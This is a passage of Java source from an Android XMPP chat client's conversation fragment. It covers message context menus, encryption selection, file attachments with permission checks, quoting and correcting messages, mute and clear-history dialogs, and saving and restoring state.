menuInviteContact.setVisible(service != null && service.findConferenceServer(conversation.getAccount()) != null);
}
if (conversation.isMuted()) {
menuMute.setVisible(false);
} else {
menuUnmute.setVisible(false);
}
ConversationMenuConfigurator.configureAttachmentMenu(conversation, menu);
ConversationMenuConfigurator.configureEncryptionMenu(conversation, menu);
}
super.onCreateOptionsMenu(menu, menuInflater);
}
@Override
public View onCreateView(final LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
this.binding = DataBindingUtil.inflate(inflater, R.layout.fragment_conversation, container, false);
binding.getRoot().setOnClickListener(null); //TODO why the fuck did we do this?
binding.textinput.addTextChangedListener(new StylingHelper.MessageEditorStyler(binding.textinput));
binding.textinput.setOnEditorActionListener(mEditorActionListener);
binding.textinput.setRichContentListener(new String[]{"image/*"}, mEditorContentListener);
binding.textSendButton.setOnClickListener(this.mSendButtonListener);
binding.scrollToBottomButton.setOnClickListener(this.mScrollButtonListener);
binding.messagesView.setOnScrollListener(mOnScrollListener);
binding.messagesView.setTranscriptMode(ListView.TRANSCRIPT_MODE_NORMAL);
mediaPreviewAdapter = new MediaPreviewAdapter(this);
binding.mediaPreview.setAdapter(mediaPreviewAdapter);
messageListAdapter = new MessageAdapter((XmppActivity) getActivity(), this.messageList);
messageListAdapter.setOnContactPictureClicked(message -> {
String fingerprint;
if (message.getEncryption() == Message.ENCRYPTION_PGP || message.getEncryption() == Message.ENCRYPTION_DECRYPTED) {
fingerprint = "pgp";
} else {
fingerprint = message.getFingerprint();
}
final boolean received = message.getStatus() <= Message.STATUS_RECEIVED;
if (received) {
if (message.getConversation() instanceof Conversation && message.getConversation().getMode() == Conversation.MODE_MULTI) {
Jid tcp = message.getTrueCounterpart();
Jid user = message.getCounterpart();
if (user != null && !user.isBareJid()) {
final MucOptions mucOptions = ((Conversation) message.getConversation()).getMucOptions();
if (mucOptions.participating() || ((Conversation) message.getConversation()).getNextCounterpart() != null) {
if (!mucOptions.isUserInRoom(user) && mucOptions.findUserByRealJid(tcp == null ? null : tcp.asBareJid()) == null) {
Toast.makeText(getActivity(), activity.getString(R.string.user_has_left_conference, user.getResource()), Toast.LENGTH_SHORT).show();
}
highlightInConference(user.getResource());
} else {
Toast.makeText(getActivity(), R.string.you_are_not_participating, Toast.LENGTH_SHORT).show();
}
}
return;
} else {
if (!message.getContact().isSelf()) {
activity.switchToContactDetails(message.getContact(), fingerprint);
return;
}
}
}
activity.switchToAccount(message.getConversation().getAccount(), fingerprint);
});
messageListAdapter.setOnContactPictureLongClicked((v, message) -> {
if (message.getStatus() <= Message.STATUS_RECEIVED) {
if (message.getConversation().getMode() == Conversation.MODE_MULTI) {
Jid tcp = message.getTrueCounterpart();
Jid cp = message.getCounterpart();
if (cp != null && !cp.isBareJid()) {
User userByRealJid = tcp != null ? conversation.getMucOptions().findOrCreateUserByRealJid(tcp, cp) : null;
final User user = userByRealJid != null ? userByRealJid : conversation.getMucOptions().findUserByFullJid(cp);
final PopupMenu popupMenu = new PopupMenu(getActivity(), v);
popupMenu.inflate(R.menu.muc_details_context);
final Menu menu = popupMenu.getMenu();
MucDetailsContextMenuHelper.configureMucDetailsContextMenu(activity, menu, conversation, user);
popupMenu.setOnMenuItemClickListener(menuItem -> MucDetailsContextMenuHelper.onContextItemSelected(menuItem, user, conversation, activity));
popupMenu.show();
}
}
} else {
activity.showQrCode(conversation.getAccount().getShareableUri());
}
});
messageListAdapter.setOnQuoteListener(this::quoteText);
binding.messagesView.setAdapter(messageListAdapter);
registerForContextMenu(binding.messagesView);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
this.binding.textinput.setCustomInsertionActionModeCallback(new EditMessageActionModeCallback(this.binding.textinput));
}
return binding.getRoot();
}
private void quoteText(String text) {
if (binding.textinput.isEnabled()) {
binding.textinput.insertAsQuote(text);
binding.textinput.requestFocus();
InputMethodManager inputMethodManager = (InputMethodManager) getActivity().getSystemService(Context.INPUT_METHOD_SERVICE);
if (inputMethodManager != null) {
inputMethodManager.showSoftInput(binding.textinput, InputMethodManager.SHOW_IMPLICIT);
}
}
}
private void quoteMessage(Message message) {
quoteText(MessageUtils.prepareQuote(message));
}
@Override
public void onCreateContextMenu(ContextMenu menu, View v, ContextMenuInfo menuInfo) {
synchronized (this.messageList) {
super.onCreateContextMenu(menu, v, menuInfo);
AdapterView.AdapterContextMenuInfo acmi = (AdapterContextMenuInfo) menuInfo;
this.selectedMessage = this.messageList.get(acmi.position);
populateContextMenu(menu);
}
}
private void populateContextMenu(ContextMenu menu) {
final Message m = this.selectedMessage;
final Transferable t = m.getTransferable();
Message relevantForCorrection = m;
while (relevantForCorrection.mergeable(relevantForCorrection.next())) {
relevantForCorrection = relevantForCorrection.next();
}
if (m.getType() != Message.TYPE_STATUS) {
if (m.getEncryption() == Message.ENCRYPTION_AXOLOTL_NOT_FOR_THIS_DEVICE) {
return;
}
final boolean deleted = t != null && t instanceof TransferablePlaceholder;
final boolean encrypted = m.getEncryption() == Message.ENCRYPTION_DECRYPTION_FAILED
|| m.getEncryption() == Message.ENCRYPTION_PGP;
final boolean receiving = m.getStatus() == Message.STATUS_RECEIVED && (t instanceof JingleConnection || t instanceof HttpDownloadConnection);
activity.getMenuInflater().inflate(R.menu.message_context, menu);
menu.setHeaderTitle(R.string.message_options);
MenuItem copyMessage = menu.findItem(R.id.copy_message);
MenuItem copyLink = menu.findItem(R.id.copy_link);
MenuItem quoteMessage = menu.findItem(R.id.quote_message);
MenuItem retryDecryption = menu.findItem(R.id.retry_decryption);
MenuItem correctMessage = menu.findItem(R.id.correct_message);
MenuItem shareWith = menu.findItem(R.id.share_with);
MenuItem sendAgain = menu.findItem(R.id.send_again);
MenuItem copyUrl = menu.findItem(R.id.copy_url);
MenuItem downloadFile = menu.findItem(R.id.download_file);
MenuItem cancelTransmission = menu.findItem(R.id.cancel_transmission);
MenuItem deleteFile = menu.findItem(R.id.delete_file);
MenuItem showErrorMessage = menu.findItem(R.id.show_error_message);
if (!m.isFileOrImage() && !encrypted && !m.isGeoUri() && !m.treatAsDownloadable()) {
copyMessage.setVisible(true);
quoteMessage.setVisible(MessageUtils.prepareQuote(m).length() > 0);
String body = m.getMergedBody().toString();
if (ShareUtil.containsXmppUri(body)) {
copyLink.setTitle(R.string.copy_jabber_id);
copyLink.setVisible(true);
} else if (Patterns.AUTOLINK_WEB_URL.matcher(body).find()) {
copyLink.setVisible(true);
}
}
if (m.getEncryption() == Message.ENCRYPTION_DECRYPTION_FAILED) {
retryDecryption.setVisible(true);
}
if (relevantForCorrection.getType() == Message.TYPE_TEXT
&& relevantForCorrection.isLastCorrectableMessage()
&& m.getConversation() instanceof Conversation
&& (((Conversation) m.getConversation()).getMucOptions().nonanonymous() || m.getConversation().getMode() == Conversation.MODE_SINGLE)) {
correctMessage.setVisible(true);
}
if ((m.isFileOrImage() && !deleted && !receiving) || (m.getType() == Message.TYPE_TEXT && !m.treatAsDownloadable())) {
shareWith.setVisible(true);
}
if (m.getStatus() == Message.STATUS_SEND_FAILED) {
sendAgain.setVisible(true);
}
if (m.hasFileOnRemoteHost()
|| m.isGeoUri()
|| m.treatAsDownloadable()
|| t instanceof HttpDownloadConnection) {
copyUrl.setVisible(true);
}
if (m.isFileOrImage() && deleted && m.hasFileOnRemoteHost()) {
downloadFile.setVisible(true);
downloadFile.setTitle(activity.getString(R.string.download_x_file, UIHelper.getFileDescriptionString(activity, m)));
}
final boolean waitingOfferedSending = m.getStatus() == Message.STATUS_WAITING
|| m.getStatus() == Message.STATUS_UNSEND
|| m.getStatus() == Message.STATUS_OFFERED;
final boolean cancelable = (t != null && !deleted) || waitingOfferedSending && m.needsUploading();
if (cancelable) {
cancelTransmission.setVisible(true);
}
if (m.isFileOrImage() && !deleted && !cancelable) {
String path = m.getRelativeFilePath();
if (path == null || !path.startsWith("/") || FileBackend.isInDirectoryThatShouldNotBeScanned(getActivity(), path)) {
deleteFile.setVisible(true);
deleteFile.setTitle(activity.getString(R.string.delete_x_file, UIHelper.getFileDescriptionString(activity, m)));
}
}
if (m.getStatus() == Message.STATUS_SEND_FAILED && m.getErrorMessage() != null && !Message.ERROR_MESSAGE_CANCELLED.equals(m.getErrorMessage())) {
showErrorMessage.setVisible(true);
}
}
}
@Override
public boolean onContextItemSelected(MenuItem item) {
switch (item.getItemId()) {
case R.id.share_with:
ShareUtil.share(activity, selectedMessage);
return true;
case R.id.correct_message:
correctMessage(selectedMessage);
return true;
case R.id.copy_message:
ShareUtil.copyToClipboard(activity, selectedMessage);
return true;
case R.id.copy_link:
ShareUtil.copyLinkToClipboard(activity, selectedMessage);
return true;
case R.id.quote_message:
quoteMessage(selectedMessage);
return true;
case R.id.send_again:
resendMessage(selectedMessage);
return true;
case R.id.copy_url:
ShareUtil.copyUrlToClipboard(activity, selectedMessage);
return true;
case R.id.download_file:
startDownloadable(selectedMessage);
return true;
case R.id.cancel_transmission:
cancelTransmission(selectedMessage);
return true;
case R.id.retry_decryption:
retryDecryption(selectedMessage);
return true;
case R.id.delete_file:
deleteFile(selectedMessage);
return true;
case R.id.show_error_message:
showErrorMessage(selectedMessage);
return true;
default:
return super.onContextItemSelected(item);
}
}
@Override
public boolean onOptionsItemSelected(final MenuItem item) {
if (MenuDoubleTabUtil.shouldIgnoreTap()) {
return false;
} else if (conversation == null) {
return super.onOptionsItemSelected(item);
}
switch (item.getItemId()) {
case R.id.encryption_choice_axolotl:
case R.id.encryption_choice_pgp:
case R.id.encryption_choice_none:
handleEncryptionSelection(item);
break;
case R.id.attach_choose_picture:
case R.id.attach_take_picture:
case R.id.attach_record_video:
case R.id.attach_choose_file:
case R.id.attach_record_voice:
case R.id.attach_location:
handleAttachmentSelection(item);
break;
case R.id.action_archive:
activity.xmppConnectionService.archiveConversation(conversation);
break;
case R.id.action_contact_details:
activity.switchToContactDetails(conversation.getContact());
break;
case R.id.action_muc_details:
Intent intent = new Intent(getActivity(), ConferenceDetailsActivity.class);
intent.setAction(ConferenceDetailsActivity.ACTION_VIEW_MUC);
intent.putExtra("uuid", conversation.getUuid());
startActivity(intent);
break;
case R.id.action_invite:
startActivityForResult(ChooseContactActivity.create(activity, conversation), REQUEST_INVITE_TO_CONVERSATION);
break;
case R.id.action_clear_history:
clearHistoryDialog(conversation);
break;
case R.id.action_mute:
muteConversationDialog(conversation);
break;
case R.id.action_unmute:
unmuteConversation(conversation);
break;
case R.id.action_block:
case R.id.action_unblock:
final Activity activity = getActivity();
if (activity instanceof XmppActivity) {
BlockContactDialog.show((XmppActivity) activity, conversation);
}
break;
default:
break;
}
return super.onOptionsItemSelected(item);
}
private void handleAttachmentSelection(MenuItem item) {
switch (item.getItemId()) {
case R.id.attach_choose_picture:
attachFile(ATTACHMENT_CHOICE_CHOOSE_IMAGE);
break;
case R.id.attach_take_picture:
attachFile(ATTACHMENT_CHOICE_TAKE_PHOTO);
break;
case R.id.attach_record_video:
attachFile(ATTACHMENT_CHOICE_RECORD_VIDEO);
break;
case R.id.attach_choose_file:
attachFile(ATTACHMENT_CHOICE_CHOOSE_FILE);
break;
case R.id.attach_record_voice:
attachFile(ATTACHMENT_CHOICE_RECORD_VOICE);
break;
case R.id.attach_location:
attachFile(ATTACHMENT_CHOICE_LOCATION);
break;
}
}
private void handleEncryptionSelection(MenuItem item) {
if (conversation == null) {
return;
}
switch (item.getItemId()) {
case R.id.encryption_choice_none:
conversation.setNextEncryption(Message.ENCRYPTION_NONE);
item.setChecked(true);
break;
case R.id.encryption_choice_pgp:
if (activity.hasPgp()) {
if (conversation.getAccount().getPgpSignature() != null) {
conversation.setNextEncryption(Message.ENCRYPTION_PGP);
item.setChecked(true);
} else {
activity.announcePgp(conversation.getAccount(), conversation, null, activity.onOpenPGPKeyPublished);
}
} else {
activity.showInstallPgpDialog();
}
break;
case R.id.encryption_choice_axolotl:
Log.d(Config.LOGTAG, AxolotlService.getLogprefix(conversation.getAccount())
+ "Enabled axolotl for Contact " + conversation.getContact().getJid());
conversation.setNextEncryption(Message.ENCRYPTION_AXOLOTL);
item.setChecked(true);
break;
default:
conversation.setNextEncryption(Message.ENCRYPTION_NONE);
break;
}
activity.xmppConnectionService.updateConversation(conversation);
updateChatMsgHint();
getActivity().invalidateOptionsMenu();
activity.refreshUi();
}
public void attachFile(final int attachmentChoice) {
if (attachmentChoice == ATTACHMENT_CHOICE_RECORD_VOICE) {
if (!hasPermissions(attachmentChoice, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.RECORD_AUDIO)) {
return;
}
} else if (attachmentChoice == ATTACHMENT_CHOICE_TAKE_PHOTO || attachmentChoice == ATTACHMENT_CHOICE_RECORD_VIDEO) {
if (!hasPermissions(attachmentChoice, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.CAMERA)) {
return;
}
} else if (attachmentChoice != ATTACHMENT_CHOICE_LOCATION) {
if (!hasPermissions(attachmentChoice, Manifest.permission.WRITE_EXTERNAL_STORAGE)) {
return;
}
}
try {
activity.getPreferences().edit()
.putString(RECENTLY_USED_QUICK_ACTION, SendButtonAction.of(attachmentChoice).toString())
.apply();
} catch (IllegalArgumentException e) {
//just do not save
}
final int encryption = conversation.getNextEncryption();
final int mode = conversation.getMode();
if (encryption == Message.ENCRYPTION_PGP) {
if (activity.hasPgp()) {
if (mode == Conversation.MODE_SINGLE && conversation.getContact().getPgpKeyId() != 0) {
activity.xmppConnectionService.getPgpEngine().hasKey(
conversation.getContact(),
new UiCallback<Contact>() {
@Override
public void userInputRequried(PendingIntent pi, Contact contact) {
startPendingIntent(pi, attachmentChoice);
}
@Override
public void success(Contact contact) {
selectPresenceToAttachFile(attachmentChoice);
}
@Override
public void error(int error, Contact contact) {
activity.replaceToast(getString(error));
}
});
} else if (mode == Conversation.MODE_MULTI && conversation.getMucOptions().pgpKeysInUse()) {
if (!conversation.getMucOptions().everybodyHasKeys()) {
Toast warning = Toast.makeText(getActivity(), R.string.missing_public_keys, Toast.LENGTH_LONG);
warning.setGravity(Gravity.CENTER_VERTICAL, 0, 0);
warning.show();
}
selectPresenceToAttachFile(attachmentChoice);
} else {
showNoPGPKeyDialog(false, (dialog, which) -> {
conversation.setNextEncryption(Message.ENCRYPTION_NONE);
activity.xmppConnectionService.updateConversation(conversation);
selectPresenceToAttachFile(attachmentChoice);
});
}
} else {
activity.showInstallPgpDialog();
}
} else {
selectPresenceToAttachFile(attachmentChoice);
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String permissions[], @NonNull int[] grantResults) {
if (grantResults.length > 0) {
if (allGranted(grantResults)) {
if (requestCode == REQUEST_START_DOWNLOAD) {
if (this.mPendingDownloadableMessage != null) {
startDownloadable(this.mPendingDownloadableMessage);
}
} else if (requestCode == REQUEST_ADD_EDITOR_CONTENT) {
if (this.mPendingEditorContent != null) {
attachEditorContentToConversation(this.mPendingEditorContent);
}
} else {
attachFile(requestCode);
}
} else {
@StringRes int res;
String firstDenied = getFirstDenied(grantResults, permissions);
if (Manifest.permission.RECORD_AUDIO.equals(firstDenied)) {
res = R.string.no_microphone_permission;
} else if (Manifest.permission.CAMERA.equals(firstDenied)) {
res = R.string.no_camera_permission;
} else {
res = R.string.no_storage_permission;
}
Toast.makeText(getActivity(), res, Toast.LENGTH_SHORT).show();
}
}
if (writeGranted(grantResults, permissions)) {
if (activity != null && activity.xmppConnectionService != null) {
activity.xmppConnectionService.restartFileObserver();
}
}
}
public void startDownloadable(Message message) {
if (!hasPermissions(REQUEST_START_DOWNLOAD, Manifest.permission.WRITE_EXTERNAL_STORAGE)) {
this.mPendingDownloadableMessage = message;
return;
}
Transferable transferable = message.getTransferable();
if (transferable != null) {
if (transferable instanceof TransferablePlaceholder && message.hasFileOnRemoteHost()) {
createNewConnection(message);
return;
}
if (!transferable.start()) {
Log.d(Config.LOGTAG, "type: " + transferable.getClass().getName());
Toast.makeText(getActivity(), R.string.not_connected_try_again, Toast.LENGTH_SHORT).show();
}
} else if (message.treatAsDownloadable()) {
createNewConnection(message);
}
}
private void createNewConnection(final Message message) {
if (!activity.xmppConnectionService.getHttpConnectionManager().checkConnection(message)) {
Toast.makeText(getActivity(), R.string.not_connected_try_again, Toast.LENGTH_SHORT).show();
return;
}
activity.xmppConnectionService.getHttpConnectionManager().createNewDownloadConnection(message, true);
}
@SuppressLint("InflateParams")
protected void clearHistoryDialog(final Conversation conversation) {
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
builder.setTitle(getString(R.string.clear_conversation_history));
final View dialogView = getActivity().getLayoutInflater().inflate(R.layout.dialog_clear_history, null);
final CheckBox endConversationCheckBox = dialogView.findViewById(R.id.end_conversation_checkbox);
builder.setView(dialogView);
builder.setNegativeButton(getString(R.string.cancel), null);
builder.setPositiveButton(getString(R.string.confirm), (dialog, which) -> {
this.activity.xmppConnectionService.clearConversationHistory(conversation);
if (endConversationCheckBox.isChecked()) {
this.activity.xmppConnectionService.archiveConversation(conversation);
this.activity.onConversationArchived(conversation);
} else {
activity.onConversationsListItemUpdated();
refresh();
}
});
builder.create().show();
}
protected void muteConversationDialog(final Conversation conversation) {
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
builder.setTitle(R.string.disable_notifications);
final int[] durations = getResources().getIntArray(R.array.mute_options_durations);
final CharSequence[] labels = new CharSequence[durations.length];
for (int i = 0; i < durations.length; ++i) {
if (durations[i] == -1) {
labels[i] = getString(R.string.until_further_notice);
} else {
labels[i] = TimeframeUtils.resolve(activity, 1000L * durations[i]);
}
}
builder.setItems(labels, (dialog, which) -> {
final long till;
if (durations[which] == -1) {
till = Long.MAX_VALUE;
} else {
till = System.currentTimeMillis() + (durations[which] * 1000);
}
conversation.setMutedTill(till);
activity.xmppConnectionService.updateConversation(conversation);
activity.onConversationsListItemUpdated();
refresh();
getActivity().invalidateOptionsMenu();
});
builder.create().show();
}
private boolean hasPermissions(int requestCode, String... permissions) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
final List<String> missingPermissions = new ArrayList<>();
for (String permission : permissions) {
if (Config.ONLY_INTERNAL_STORAGE && permission.equals(Manifest.permission.WRITE_EXTERNAL_STORAGE)) {
continue;
}
if (activity.checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) {
missingPermissions.add(permission);
}
}
if (missingPermissions.size() == 0) {
return true;
} else {
requestPermissions(missingPermissions.toArray(new String[missingPermissions.size()]), requestCode);
return false;
}
} else {
return true;
}
}
public void unmuteConversation(final Conversation conversation) {
conversation.setMutedTill(0);
this.activity.xmppConnectionService.updateConversation(conversation);
this.activity.onConversationsListItemUpdated();
refresh();
getActivity().invalidateOptionsMenu();
}
protected void selectPresenceToAttachFile(final int attachmentChoice) {
final Account account = conversation.getAccount();
final PresenceSelector.OnPresenceSelected callback = () -> {
Intent intent = new Intent();
boolean chooser = false;
switch (attachmentChoice) {
case ATTACHMENT_CHOICE_CHOOSE_IMAGE:
intent.setAction(Intent.ACTION_GET_CONTENT);
intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true);
intent.setType("image/*");
chooser = true;
break;
case ATTACHMENT_CHOICE_RECORD_VIDEO:
intent.setAction(MediaStore.ACTION_VIDEO_CAPTURE);
break;
case ATTACHMENT_CHOICE_TAKE_PHOTO:
final Uri uri = activity.xmppConnectionService.getFileBackend().getTakePhotoUri();
pendingTakePhotoUri.push(uri);
intent.putExtra(MediaStore.EXTRA_OUTPUT, uri);
intent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent.setAction(MediaStore.ACTION_IMAGE_CAPTURE);
break;
case ATTACHMENT_CHOICE_CHOOSE_FILE:
chooser = true;
intent.setType("*/*");
intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true);
intent.addCategory(Intent.CATEGORY_OPENABLE);
intent.setAction(Intent.ACTION_GET_CONTENT);
break;
case ATTACHMENT_CHOICE_RECORD_VOICE:
intent = new Intent(getActivity(), RecordingActivity.class);
break;
case ATTACHMENT_CHOICE_LOCATION:
intent = GeoHelper.getFetchIntent(activity);
break;
}
if (intent.resolveActivity(getActivity().getPackageManager()) != null) {
if (chooser) {
startActivityForResult(
Intent.createChooser(intent, getString(R.string.perform_action_with)),
attachmentChoice);
} else {
startActivityForResult(intent, attachmentChoice);
}
}
};
if (account.httpUploadAvailable() || attachmentChoice == ATTACHMENT_CHOICE_LOCATION) {
conversation.setNextCounterpart(null);
callback.onPresenceSelected();
} else {
activity.selectPresence(conversation, callback);
}
}
@Override
public void onResume() {
super.onResume();
binding.messagesView.post(this::fireReadEvent);
}
private void fireReadEvent() {
if (activity != null && this.conversation != null) {
String uuid = getLastVisibleMessageUuid();
if (uuid != null) {
activity.onConversationRead(this.conversation, uuid);
}
}
}
private String getLastVisibleMessageUuid() {
if (binding == null) {
return null;
}
synchronized (this.messageList) {
int pos = binding.messagesView.getLastVisiblePosition();
if (pos >= 0) {
Message message = null;
for (int i = pos; i >= 0; --i) {
try {
message = (Message) binding.messagesView.getItemAtPosition(i);
} catch (IndexOutOfBoundsException e) {
//should not happen if we synchronize properly. however if that fails we just gonna try item -1
continue;
}
if (message.getType() != Message.TYPE_STATUS) {
break;
}
}
if (message != null) {
while (message.next() != null && message.next().wasMergedIntoPrevious()) {
message = message.next();
}
return message.getUuid();
}
}
}
return null;
}
private void showErrorMessage(final Message message) {
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
builder.setTitle(R.string.error_message);
builder.setMessage(message.getErrorMessage());
builder.setPositiveButton(R.string.confirm, null);
builder.create().show();
}
private void deleteFile(final Message message) {
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
builder.setNegativeButton(R.string.cancel, null);
builder.setTitle(R.string.delete_file_dialog);
builder.setMessage(R.string.delete_file_dialog_msg);
builder.setPositiveButton(R.string.confirm, (dialog, which) -> {
if (activity.xmppConnectionService.getFileBackend().deleteFile(message)) {
message.setTransferable(new TransferablePlaceholder(Transferable.STATUS_DELETED));
activity.onConversationsListItemUpdated();
refresh();
}
});
builder.create().show();
}
private void resendMessage(final Message message) {
if (message.isFileOrImage()) {
if (!(message.getConversation() instanceof Conversation)) {
return;
}
final Conversation conversation = (Conversation) message.getConversation();
DownloadableFile file = activity.xmppConnectionService.getFileBackend().getFile(message);
if (file.exists()) {
final XmppConnection xmppConnection = conversation.getAccount().getXmppConnection();
if (!message.hasFileOnRemoteHost()
&& xmppConnection != null
&& !xmppConnection.getFeatures().httpUpload(message.getFileParams().size)) {
activity.selectPresence(conversation, () -> {
message.setCounterpart(conversation.getNextCounterpart());
activity.xmppConnectionService.resendFailedMessages(message);
new Handler().post(() -> {
int size = messageList.size();
this.binding.messagesView.setSelection(size - 1);
});
});
return;
}
} else {
Toast.makeText(activity, R.string.file_deleted, Toast.LENGTH_SHORT).show();
message.setTransferable(new TransferablePlaceholder(Transferable.STATUS_DELETED));
activity.onConversationsListItemUpdated();
refresh();
return;
}
}
activity.xmppConnectionService.resendFailedMessages(message);
new Handler().post(() -> {
int size = messageList.size();
this.binding.messagesView.setSelection(size - 1);
});
}
private void cancelTransmission(Message message) {
Transferable transferable = message.getTransferable();
if (transferable != null) {
transferable.cancel();
} else if (message.getStatus() != Message.STATUS_RECEIVED) {
activity.xmppConnectionService.markMessage(message, Message.STATUS_SEND_FAILED, Message.ERROR_MESSAGE_CANCELLED);
}
}
private void retryDecryption(Message message) {
message.setEncryption(Message.ENCRYPTION_PGP);
activity.onConversationsListItemUpdated();
refresh();
conversation.getAccount().getPgpDecryptionService().decrypt(message, false);
}
public void privateMessageWith(final Jid counterpart) {
if (conversation.setOutgoingChatState(Config.DEFAULT_CHATSTATE)) {
activity.xmppConnectionService.sendChatState(conversation);
}
this.binding.textinput.setText("");
this.conversation.setNextCounterpart(counterpart);
updateChatMsgHint();
updateSendButton();
updateEditablity();
}
private void correctMessage(Message message) {
while (message.mergeable(message.next())) {
message = message.next();
}
this.conversation.setCorrectingMessage(message);
final Editable editable = binding.textinput.getText();
this.conversation.setDraftMessage(editable.toString());
this.binding.textinput.setText("");
this.binding.textinput.append(message.getBody());
}
private void highlightInConference(String nick) {
final Editable editable = this.binding.textinput.getText();
String oldString = editable.toString().trim();
final int pos = this.binding.textinput.getSelectionStart();
if (oldString.isEmpty() || pos == 0) {
editable.insert(0, nick + ": ");
} else {
final char before = editable.charAt(pos - 1);
final char after = editable.length() > pos ? editable.charAt(pos) : '\0';
if (before == '\n') {
editable.insert(pos, nick + ": ");
} else {
if (pos > 2 && editable.subSequence(pos - 2, pos).toString().equals(": ")) {
if (NickValidityChecker.check(conversation, Arrays.asList(editable.subSequence(0, pos - 2).toString().split(", ")))) {
editable.insert(pos - 2, ", " + nick);
return;
}
}
editable.insert(pos, (Character.isWhitespace(before) ? "" : " ") + nick + (Character.isWhitespace(after) ? "" : " "));
if (Character.isWhitespace(after)) {
this.binding.textinput.setSelection(this.binding.textinput.getSelectionStart() + 1);
}
}
}
}
@Override
public void startActivityForResult(Intent intent, int requestCode) {
final Activity activity = getActivity();
if (activity instanceof ConversationsActivity) {
((ConversationsActivity) activity).clearPendingViewIntent();
}
super.startActivityForResult(intent, requestCode);
}
@Override
public void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
if (conversation != null) {
outState.putString(STATE_CONVERSATION_UUID, conversation.getUuid());
outState.putString(STATE_LAST_MESSAGE_UUID, lastMessageUuid);
final Uri uri = pendingTakePhotoUri.peek();
if (uri != null) {
outState.putString(STATE_PHOTO_URI, uri.toString());
}
final ScrollState scrollState = getScrollPosition();
if (scrollState != null) {
outState.putParcelable(STATE_SCROLL_POSITION, scrollState);
}
final ArrayList<Attachment> attachments = mediaPreviewAdapter.getAttachments();
if (attachments.size() > 0) {
outState.putParcelableArrayList(STATE_MEDIA_PREVIEWS, attachments);
}
}
}
@Override
public void onActivityCreated(Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
if (savedInstanceState == null) {
return;
}
String uuid = savedInstanceState.getString(STATE_CONVERSATION_UUID);
ArrayList<Attachment> attachments = savedInstanceState.getParcelableArrayList(STATE_MEDIA_PREVIEWS);
pendingLastMessageUuid.push(savedInstanceState.getString(STATE_LAST_MESSAGE_UUID, null));
if (uuid != null) {
QuickLoader.set(uuid);
this.pendingConversationsUuid.push(uuid);
if (attachments != null && attachments.size() > 0) {
this.pendingMediaPreviews.push(attachments);
}
String takePhotoUri = savedInstanceState.getString(STATE_PHOTO_URI);
if (takePhotoUri != null) {
pendingTakePhotoUri.push(Uri.parse(takePhotoUri));
}
pendingScrollState.push(savedInstanceState.getParcelable(STATE_SCROLL_POSITION));
}
}
@Override
public void onStart() {
super.onStart();
if (this.reInitRequiredOnStart && this.conversation != null) {
final Bundle extras = pendingExtras.pop();
reInit(this.conversation, extras != null);
if (extras != null) {
processExtras(extras);
}
} else if (conversation == null && activity != null && activity.xmppConnectionService != null) {
final String uuid = pendingConversationsUuid.pop();
Log.d(Config.LOGTAG, "ConversationFragment.onStart() - activity was bound but no conversation loaded. uuid=" + uuid);
if (uuid != null) {
findAndReInitByUuidOrArchive(uuid);
}
}
}
@Override
public void onStop() {
super.onStop();
final Activity activity = getActivity();
messageListAdapter.unregisterListenerInAudioPlayer();
if (activity == null || !activity.isChangingConfigurations()) {
hideSoftKeyboard(activity);
messageListAdapter.stopAudioPlayer();
}
if (this.conversation != null) {
final String msg = this.binding.textinput.getText().toString();
storeNextMessage(msg);
updateChatState(this.conversation, msg);
this.activity.xmppConnectionService.getNotificationService().setOpenConversation(null);
}
this.reInitRequiredOnStart = true;
}
private void updateChatState(final Conversation conversation, final String msg) {
ChatState state = msg.length() == 0 ? Config.DEFAULT_CHATSTATE : ChatState.PAUSED;
Account.State status = conversation.getAccount().getStatus();
if (status == Account.State.ONLINE && conversation.setOutgoingChatState(state)) {
activity.xmppConnectionService.sendChatState(conversation);
}
}
private void saveMessageDraftStopAudioPlayer() {
final Conversation previousConversation = this.conversation;
if (this.activity == null || this.binding == null || previousConversation == null) {
return;
}
Log.d(Config.LOGTAG, "ConversationFragment.saveMessageDraftStopAudioPlayer()");
final String msg = this.binding.textinput.getText().toString();
storeNextMessage(msg);
updateChatState(this.conversation, msg);
messageListAdapter.stopAudioPlayer();
mediaPreviewAdapter.clearPreviews();
toggleInputMethod();
}
public void reInit(Conversation conversation, Bundle extras) {
QuickLoader.set(conversation.getUuid());
this.saveMessageDraftStopAudioPlayer();
this.clearPending();
if (this.reInit(conversation, extras != null)) {
if (extras != null) {
processExtras(extras);
}
this.reInitRequiredOnStart = false;
} else {
this.reInitRequiredOnStart = true;
pendingExtras.push(extras);
}
resetUnreadMessagesCount();
}
private void reInit(Conversation conversation) {
reInit(conversation, false);
}
private boolean reInit(final Conversation conversation, final boolean hasExtras) {
if (conversation == null) {
return false;
}
this.conversation = conversation;
//once we set the conversation all is good and it will automatically do the right thing in onStart()
if (this.activity == null || this.binding == null) {
return false;
}
if (!activity.xmppConnectionService.isConversationStillOpen(this.conversation)) {
activity.onConversationArchived(this.conversation);
return false;
}
stopScrolling();
Log.d(Config.LOGTAG, "reInit(hasExtras=" + Boolean.toString(hasExtras) + ")");
if (this.conversation.isRead() && hasExtras) {
Log.d(Config.LOGTAG, "trimming conversation");
this.conversation.trim();
}
setupIme();
final boolean scrolledToBottomAndNoPending = this.scrolledToBottom() && pendingScrollState.peek() == null;
this.binding.textSendButton.setContentDescription(activity.getString(R.string.send_message_to_x, conversation.getName()));
this.binding.textinput.setKeyboardListener(null);
this.binding.textinput.setText("");
final boolean participating = conversation.getMode() == Conversational.MODE_SINGLE || conversation.getMucOptions().participating();
if (participating) {
this.binding.textinput.append(this.conversation.getNextMessage());
}
